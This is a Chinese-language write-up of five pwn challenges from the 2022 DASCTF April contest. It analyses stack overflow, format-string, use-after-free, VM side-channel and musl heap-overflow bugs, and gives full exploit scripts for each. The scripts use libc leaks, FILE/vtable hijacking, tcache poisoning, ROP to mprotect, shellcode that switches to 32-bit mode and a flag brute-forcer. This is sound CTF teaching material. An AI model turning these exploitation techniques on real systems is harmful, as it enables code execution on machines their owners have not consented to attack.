2022DASCTF-Apr-X-FATE-pwn-wp

2022DASCTF-Apr-X-FATE-pwn-wp

时间太仓促了,题目逆向的工作量有点大,远程还有不少毛病……一言难尽。下来把剩下几道题都复现一遍,wp持续更新中已写完收工。

小广告:解题脚本均使用我自己开发的工具pwncli编写,欢迎感兴趣的pwner师傅们试用~

1 good_luck

眼疾手快拿了个一血,这题其实很简单,但是远程的问题很大。附件都更新了两次,就很迷~

checksec

image-20220423183142291

没有给libc

漏洞点

要么栈溢出+格式化字符串,要么栈溢出:

image-20220423183249430

image-20220423183307699

image-20220423183323408

利用思路

由于这两种的概率是1/2,所以可以根据不同的输出来使用不同的payload。当然,可以编写一个通用的payload同时适用这两种情况。

观察到fmt函数的缓冲区距离rbp0x70overflow函数的缓冲区距离rbp0x50,所以前面的通用的payload可以为:

1
2
3
4
layoud = {
	0x58: [ret_addr] * 4 
    0x78: "deadbeef"
}

因此,思路为:

  • 使用通用payload再次执行fmt
  • 第一次fmt,利用格式化字符串泄露出libc地址,并再次执行fmt
  • 根据泄露出来的地址,计算并填入one_gadget即可获得shell

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']

ru("good luck\n")
m = rl()
data = flat([
    "a" * 0x58,
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt 
])

sl(data)

ru("fmt\n")
data = flat({
    0: "%7$s",
    8: elf.got.puts,
    0x58: [
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt
    ]
})
sl(data)

puts_addr = recv_current_libc_addr(offset=0)
log_address("puts addr: ", puts_addr)
lb = LibcBox()
lb.add_symbol('puts', puts_addr)
lb.search(download_so=1) # download --> libc6_2.23-0ubuntu11.2_amd64.so

libc_base = puts_addr -  lb.dump('puts')
system_adddr = libc_base + lb.dump('system')
bin_sh = libc_base + lb.dump('str_bin_sh')

set_current_libc_base_and_log(libc_base, 0)

ru("fmt\n")
data = flat({
    0x78: [
        0x4527a + libc_base, # one_gadget
        [0] * 0x20
    ]
})
sl(data)

ia()

最后测出来远程:libc6_2.23-0ubuntu11.2_amd64

远程:

image-20220423184352119

2 ssstring

不得不说,这次比赛的远程真的很很很很迷,本地环境应该和远程是一样的,但是总是打一半就卡死崩掉了。

这题考查的是C++string对象,也不算很难的题。C++ string对象的布局伪代码:

1
2
3
4
5
6
struct string {
char *data;
int capacity;
int refcount;
char pad[0x10];
};

初始状态下,data指针指向pad处。如果输入的字符串长度大于0x10string对象的操作流程可以简单总结为:

  • 首先检查data是不是指向pad,如果是,就会调用malloc分配堆内存,存储输入的字符串
  • 如果data不指向pad
    • 如果输入的字符串长度大于capacity,释放data处的内存
    • 按照0x40->0x80->0xf0->0x1e0->0x3e0...的大小依次进行扩容,直到满足要求(所以一次性读取超过0x400长度的字符串,会在tcachebins里面发现很多free chunk

checksec

image-20220423222606174

远程libc版本为:2.31-0ubuntu9.2_amd64

漏洞点

程序不复杂,漏洞也很明显,在change idx的时候:

image-20220423222715414

输入的idx可以为负数,也就可以溢出修改capacity域以及data指针,虽然每次只能修改1个字节。

利用思路

根据漏洞点整理利用思路如下:

  • 第一次输入不超过0x10长度的字符串

  • 利用索引负数溢出修改掉capacity的值后,cout<<str即可泄露出栈上的libc地址以及栈地址

  • 继续利用溢出修改capacity大于0x7f000000

  • 然后将data指向的地址的第5个字节修改成libc地址的第5个字节。比如说此时data的地址是一个栈地址0x7ffdd10d5e90,泄露出来的libc地址0x7f7463afc000,这里将0x7ffdd10d5e90修改为0x7f74d10d5e90,是为了方便修改libc上的数据

  • 计算想要修改的libc上的数据,和修改后的data之间的距离,一个字节一个字节修改即可

  • 这里我选择的思路是修改IO_file_jumps结构体和stdout结构体以及__free_hook,篡改puts的调用链,使得_IO_file_xsputn调用_IO_str_finish,调用free(stdout->_IO_buf_base),实际调用system("\nsh;")即可获得shell

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from socket import timeout
from pwncli import *

cli_script()

context.update(timeout=5)

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def input_str(data):
    sla(">> ", "1")
    sla("string? \n", data)

def change(idx, c):
    sla(">> ", "2")
    sla("char idx? \n", str(idx))
    sa("char? \n", c)

def show():
    sla(">> ", "3")

input_str("deadbeef")
change(-7, '\x01')
show()
m = ru("1. Cin")
libc_base = u64(m[0x40:0x40+8]) - libc.sym.__libc_start_main - 243
set_current_libc_base_and_log(libc_base, 0)

free_hook_addr = libc.sym.__free_hook
system_addr = libc.sym.system
file_jump_addr = libc_base + 0x1ed4a0
stdout_addr = libc.sym._IO_2_1_stdout_
IO_str_finish = libc_base + 0x96ed0

stack_addr = u64_ex(m[0x50:0x50+8])
string_ptr = stack_addr - 0x128
log_address("string_ptr", string_ptr)

input_str("/bin/sh;deadbee")
change(-5, '\x7f')
change(-12, p8_ex(libc_base >> 32))

string_ptr = (string_ptr & 0xffffffff) | ((libc_base >> 32) << 32)

# write IO_str_finish
target_addr = file_jump_addr
write_content = IO_str_finish
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write system
target_addr = free_hook_addr
write_content = system_addr
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write sh;
target_addr = stdout_addr + 132
write_content = u64_ex("sh;")
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(3):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write stdout
target_addr = stdout_addr
write_content = 0x80
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write vtable
target_addr = stdout_addr + 0xd8 # vtable
write_content = (file_jump_addr & 0xff) - 56
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

ia()

布局成功后如下所示:

image-20220423225923925

此时修改stdout->vtable的低一个字节即可:

image-20220423230047709

远程打不动,弃疗了…

3 easysystem

这题需要耐心和时间去逆向以及利用。需要IDA文件的点这里,我已经逆完了,我使用的IDA版本为7.6。需要调试镜像的使用docker pull roderickchan/debug_pwn_env:21.10拉取即可,已经安装好了pwndbg/gef/pwncli,使用gdb-gefgdb-pwndbg命令切换插件。

checksec

image-20220425010422897

给的libc的版本很高,版本为glibc-2.34。移除了很多hook,基本上无法使用hook去控制程序执行流。

噢对,还加了沙箱:

image-20220425014642939

漏洞点

程序的逆向工作有点大,维护了好几个结构体,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
   This file has been generated by IDA.
   It contains local type definitions from
   the type library 'easysystem'
*/

#define __int8 char
#define __int16 short
#define __int32 int
#define __int64 long long

struct User;
struct FILE;


/* 15 */
struct UserList
{
  struct User *user1;
  struct User *user2;
};

/* 16 */
struct User
{
  char name[20];
  int _1;
  struct FILE *files;
  struct User *next_user;
};

/* 17 */
struct FILE
{
  char filename[20];
  char r;
  char w;
  char x;
  uint32_t _1;
  uint32_t length;
  void *_2;
  struct FILE *next_file;
};

/* 18 */
struct OpendFile
{
  char filename[20];
  char r;
  char w;
  char x;
  char o_r;
  char o_w;
  char o_x;
  uint32_t length;
  char *data;
  struct OpendFile *next_open_file;
};

/* 19 */
struct OpenFiles
{
  struct OpendFile *open_files1;
  struct OpendFile *open_files2;
  uint32_t max;
  uint32_t count;
};

漏洞点在openfile函数,全局变量未清理的漏洞:

image-20220425014256039

由于在read_file/write_file等函数均会使用到open_file这个全局变量,当其不为null的时候,会继续read/write。而如果在此之前调用close_file函数,则该变量指向的保存文件数据的内存是已经释放掉的内存:

image-20220425014543466

基于该use after free的漏洞,可以劫持程序执行任意流程。

利用思路

基于漏洞整理的利用思路如下:

step 1:任意地址写

  • 首先close_file然后write_file,即可泄露出libc地址和heap地址
  • 然后再来一次,close_file之后create_file,然后read_file即可伪造上面整理的FILE结构体,修改其next_file字段和length字段,使其指向tcache_perthread_struct
  • delete_file释放伪造的file即可释放掉tcache_perthread_struct
  • 利用tcache让任意地址分配内存

step 2:劫持程序执行流

  • 分配到stdout->vtable上方,tcache里有检查,分配的地址需要0x10对齐

  • 修改stdout->vtable_IO_cookie_jumps+0x40

  • 布局好__cookie字段和_IO_cookie_io_functions_t结构体

  • 输入exit\n,然后输入一个不存在的用户名,即可调用puts,本来是调用_IO_file_jumps->_IO_file_xsputn,劫持后调用(struct _IO_cookie_file *) stdout->__io_functions.write((struct _IO_cookie_file *) stdout->__cookie),这样就控制了riprdi

  • 用两段gadget劫持rsp

    1
    2
    
    0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    0x0000000000059fa0: mov rsp, rdx; ret;
  • 然后rop修改heap的执行权限,执行提前布局好的shellcode

  • 利用retfq切换到32位执行orw读取flag

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from mmap import mmap
from isort import file
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

username = "roderick"

def create_file(filename, len=0x18, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")

    sa(f"->{username}>>", "create\n")
    sa("Please file (file_name file_protect file_length) : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))
    s(str(len).rjust(4, "0"))


def delete_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "delete\n")
    sa("Please input the file's name you want to delete : ", filename)


def open_file(filename, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "open\n")
    sa("Please input the file name you want to open : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))


def close_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "close\n")
    sa("Please input the file name you want to close : ", filename)


def read_file(filename, data):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "read\n")
    sa("Please input the file name you want to read : ", filename)
    sa(":", data)


def write_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "write\n")
    sa("Please input the file name you want to write : ", filename)


def bye():
    sa(f"->{username}>>", "exit\n")
    sa("Please choose user to login : \n", "baduser")


sa("Please input  user name : \n", username)
sa("Please choose user to login : \n", username)

create_file("hack1", 0x500)
open_file("hack1")
create_file("hack2", 0x500)
close_file("hack1")

# leak libc addr
write_file("hack1")
libc_base = u64_ex(rn(9)[1:]) - 0x219cc0
set_current_libc_base_and_log(libc_base, 0)

ptr_guard = libc_base - 0x2890 # local debug
if gift.remote:
    ptr_guard = libc_base + 0x2295f0 # buu

io_cookie_jump = libc_base + 0x215b80

delete_file("hack2")
delete_file("hack1")

create_file("hack1", 0x88)
open_file("hack1")
close_file("hack1")
write_file("hack1")
# leak heap addr
heap_base = u64_ex(rn(0x19)[-8:]) - 0x380
log_heap_base_addr(heap_base)

delete_file("hack1")

# clear free chunk
for i in range(5):
    create_file(f"hack{i}", 0x88)
    open_file(f"hack{i}")

for i in range(5):
    close_file(f"hack{i}")

create_file("hack5", 0x500)
open_file("hack5")

# 0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# 0x0000000000059fa0: mov rsp, rdx; ret;
# 0x0000000000045f85: add rsp, 0x28; ret;
# 0x000000000002a6c5: pop rdi; ret;
# 0x000000000005f65a: pop rdx; ret;
# 0x000000000002c081: pop rsi; ret;
lower_addr = (heap_base&~0xfff) & 0xfffffff
payload = flat({
    0:[ # rdi
        libc_base + 0x0000000000045f85,
        heap_base + 0xab0,
    ],
    0x20: libc_base + 0x0000000000059fa0,
    0x30: [
        libc_base + 0x000000000002a6c5,
        heap_base,
        libc_base + 0x000000000002c081,
        0x8000,
        libc_base + 0x000000000005f65a,
        7,
        libc.sym.mprotect,
        heap_base + 0xab0 + 0x100
    ],
    0x100: asm(shellcraft.amd64.linux.mmap_rwx(0x10000, 7, lower_addr) +
            shellcraft.amd64.memcpy(lower_addr+0x800, heap_base + 0xab0 + 0x200, 0x50) + f"""
            mov rax, {lower_addr+0x800}
            mov rsp, rax
            push 0x23
            push {lower_addr+0x800+0x10}
            retfq
            """),
    0x200: b"\x90"*20 + ShellcodeMall.i386.cat_flag

})


read_file("hack5", flat({0x150: payload}))

create_file(f"hack6", 0x18) # gap
close_file("hack5")

create_file(f"hack7", 0x18) # fake file

# fake file 
read_file("hack5", data = flat({
    0:"hack7\x00",
    0x14:0x010101010101,
    0x1c:p32(0x280),
    0x28: heap_base + 0x10 # next_file
}))

# free tcache-control-struct
delete_file("\x00")

delete_file("hack6")
open_file("hack7")

read_file("hack7", flat_z({
    0:"\x01",
    0xe: "\x01",
    0x80: ptr_guard, # 0x20 chunk
    0xb8: libc.sym._IO_2_1_stdout_+0xd0 # 0x90 chunk
}))
create_file("hack8", 0x88)
open_file("hack8")
read_file("hack8", flat([
    0,
    io_cookie_jump + 0x40, # vtable
    heap_base + 0xab0,
    libc.sym._IO_2_1_stdout_,
    rol(libc_base + 0x0000000000165fa0, 0x11)
]))

create_file("hack9", 0x18)
open_file("hack9")
read_file("hack9", p64(0))

bye()

ia()

调试截图:

执行到puts

image-20220425020256188

准备劫持rsp

image-20220425020408980

栈迁移到堆上,修改其权限:

image-20220425020505028

切到32位:

image-20220425020603610

读取到flag

image-20220425020657318

远程打:

image-20220425013729729

4 try2findme

逆向题,侧信道爆破即可。

checksec

image-20220425220349629

还开启了沙箱,不过不影响做题,libc的版本也不影响做题。

题目分析

应该叫题目分析更为合适~

首先用IDA恢复跳表:

image-20220425220954049

修复后好看多了:

image-20220426215711593

然后恢复结构体信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
struct Mgr
{
  uint8_t status;
  char *d;
  char lower_flag;
  char equal_flag;
  uint32_t p;
  uint32_t size;
  uint32_t i;
  char *s;
};

初始化的地方需要注意一下:

image-20220425222305913

{0x7b}0x7d

总结各个分支的流程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
case d[i]:
    0: ++i
    1: s[++p] = d[++i]
    2: --p
    3: s[p-1] = s[p] + s[p-1]
    4: s[p-1] = s[p] - s[p-1]
    5: s[p-1] = s[p] * s[p-1]
    6: s[p-1] = s[p] / s[p-1]
    7: ++i; i = d[i]
    8: ++i; if equal_flag; then i = d[i]
    0x9: ++i; if !equal_flag; then i = d[i]
    0xa: ++i; if equal_flag || lower_flag; then i = d[i]
    0xb: ++i; if !lower_flag; then i = d[i]
    0xc: ++i; if lower_flag; then i = d[i]
    0xd: equal_flag = (s[p] == s[p-1]); lower_flag = (s[p] < s[p-1])
    0xe: s[p] = ~s[p]
    0xf: s[p-1] = s[p] & s[p-1]
    0x10: s[p-1] = s[p] | s[p-1]
    0x11: s[p-1] = s[p] ^ s[p-1]
    0x12: sleep infinity
    other: exit
++i

漏洞在于i的值可以由输入控制,而i又可以控制分支执行。因此,类似于汇编中的各类跳转分支,当控制了i之后,我们可以在各个分支之间跳转。

利用思路

每个分支分析清楚之后,不难想到,可以用侧信道爆破。思路如下:

  • 由于初始化中的字节都是小于0x7a的,所以可以用}字符去判断是否找到了存放flag的位置。初始化:将p减小0x60,跳过管理的chunk0x30个字节
  • 然后case 1,将}输入到s[p]
  • 使用case 0xd判断前一个字符是否等于},然后借助case 8case 9分别进行跳转
  • 如果不等于,p -= 2,然后跳转到第二步重复;如果相等,说明找到flag的尾部了,跳转到下一步,猜测当前字符
  • case 0xd猜测当前字符,借助case 8case 9分别进行跳转
  • 猜测成功的时候跳转到case 0x12,一直睡眠;猜测失败的时候跳转到case other,会输出See u next time~
  • 使用当前方法爆破出所有字符即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

flag = "}"

for i in range(0x24):
    for guess_char in "0123456789-abcdef":
        # reset
        if gift.debug:
            gift.io = process(gift.filename)
        else:
            gift.io = remote(gift.ip, gift.port)
        
        payload = flat({
            0:"\x02"*0x60,
            0x60: "\x01}\x0d\x08\x6f\x09\x5d",
            0x70: "\x02" * (len(flag) + 1) + f"\x01{guess_char}\x0d\x08\xb0\x13",
            0xb0: "\x12\x12"
        })

        s(payload)
        m = ra(3)
        if b"See u next time" not in m:
            flag = guess_char + flag
            ic()
            break
        ic()
        
    log_ex(f"flag: {flag}")

log_ex(f"flag{flag}")

远程的环境没有了,在本地试了一下,很快就爆破出flag

image-20220425223330187

5 storage

1.2.2 musl libc的堆管理方式也没有特别的复杂,虽然与1.1.24版本的管理方式完全不同。理解了meta/group/meta_area/malloc_context几个结构体后,即可很快厘清堆管理方式。

因此题目提供的了完备的增删改查功能,所以其实做本题甚至不需要完全搞懂musl libc的分配方式,只需要找到一个特殊的地址进行操作即可。关于musl libc的分析文章,可参考这里,写得很详细,建议边读边结合源码分析。

自己编译源码:

1
2
3
4
5
git clone git@github.com:bminor/musl.git
cd ./musl
git checkout v1.2.2
CC="gcc" CFLAGS="-z now" ./configure --enable-debug --disable-werror
make -j7

然后在./musl/lib中即可找到带调试信息的libc.so

image-20220426220542281

checksec

image-20220426220610323

musl版本为1.2.2

漏洞点

store函数:

image-20220426220804228

其实一开始我注意到这个点,但是根据之前的经验,就是这里的描述:

image-20220426220938510

我以为read会直接返回,然后ptr + 0xffffffff这里将是一个无效的地址,赋值的时候段错误。后来找了半天没找到漏洞,然后试了一下这里,发现竟然没有报错,可以继续输入,真的很神奇……所以,经验主义确实害人啊~

既然这里可以溢出,那么利用就很简单了。

利用思路

需要注意的是,musl分配的堆,除了属于动态内存区域,还可能属于静态内存区域。是因为musl在初始化的时候,会在libc.so映射的地址空间寻找未使用片段,然后当作静态内存管理起来。所以,可能分配到的堆地址是一个libc地址。

首先观察到,程序一开始申请的0x80大小的chunk就在libc上:

image-20220426221510334

malloc(0)的大小的内存也在libc.so的地址空间,而且恰好在这个0x80chunk的上方:

image-20220426221811777

距离为0x3f0。也就是说,可以溢出修改ptrs中存储的指针。然后由于有个\x00的截断,所以需要寻找一个地址x,恰好在x & ~0xff的地址处存储着libc地址或者堆地址,或者栈地址,满足一个即可。后来测试出来,malloc(0x400)的时候,满足需求:

image-20220426222103616

这里有个堆地址,然后堆地址上一定会有libc地址,因为会有group结构在libc上。

image-20220426222219811

经过多次测试,这里的libc地址相对于基地址是固定的。

总结以上利用思路为:

  • store(0x400)准备好要利用的指针

  • store(0xffffffff)溢出修改ptrs[0]存储的指针的最低字节为\x00

  • show(0)即可泄露堆地址

  • 继续溢出修改指针为堆地址,然后泄露libc地址

  • 计算得到__stderr_used地址,劫持其write函数指针,触发一个exit即可控制程序执行流

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']

def store(size, data):
    sla(">> ", "1")
    sla("String size? \n", str(size))
    if data:
        sa("String? \n", data)


def show(idx):
    sla(">> ", "2")
    sla("String idx? \n", str(idx))
    ru("String: ")
    return rl()


def delete(idx):
    sla(">> ", "3")
    sla("String idx? \n", str(idx))



def edit(idx, data):
    sla(">> ", "4")
    sla("String idx? \n", str(idx))
    sa("New string? \n", data)

store(0x400, "a"*8)
store(0xffffffff, "deadbeef")

edit(1, "\x00" * 0x3f0)
m = show(0)
heap_addr = u64_ex(m[:-1])
log_address("heap_addr", heap_addr)

edit(1, b"\x00"*0x3f0 + p64(heap_addr + 0x38)[:6])
m = show(0)
libc_addr = u64_ex(m[:-1])
log_address("libc_addr", libc_addr)

libc_base = libc_addr - 0xb7860
log_libc_base_addr(libc_base)

system_addr = libc_base + 0x50a90
str_bin_sh = libc_base + 0xb21d7
stderr_use = libc_base + 0xb4080

log_address("system_addr", system_addr)
log_address("str_bin_sh", str_bin_sh)

edit(1, b"\x00"*0x3f0 + p64(stderr_use)[:6])
edit(0, flat({
    0: "/bin/sh\x00",
    0x48: system_addr
}))

delete(99)

ia()

打远程:

image-20220426222625360

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%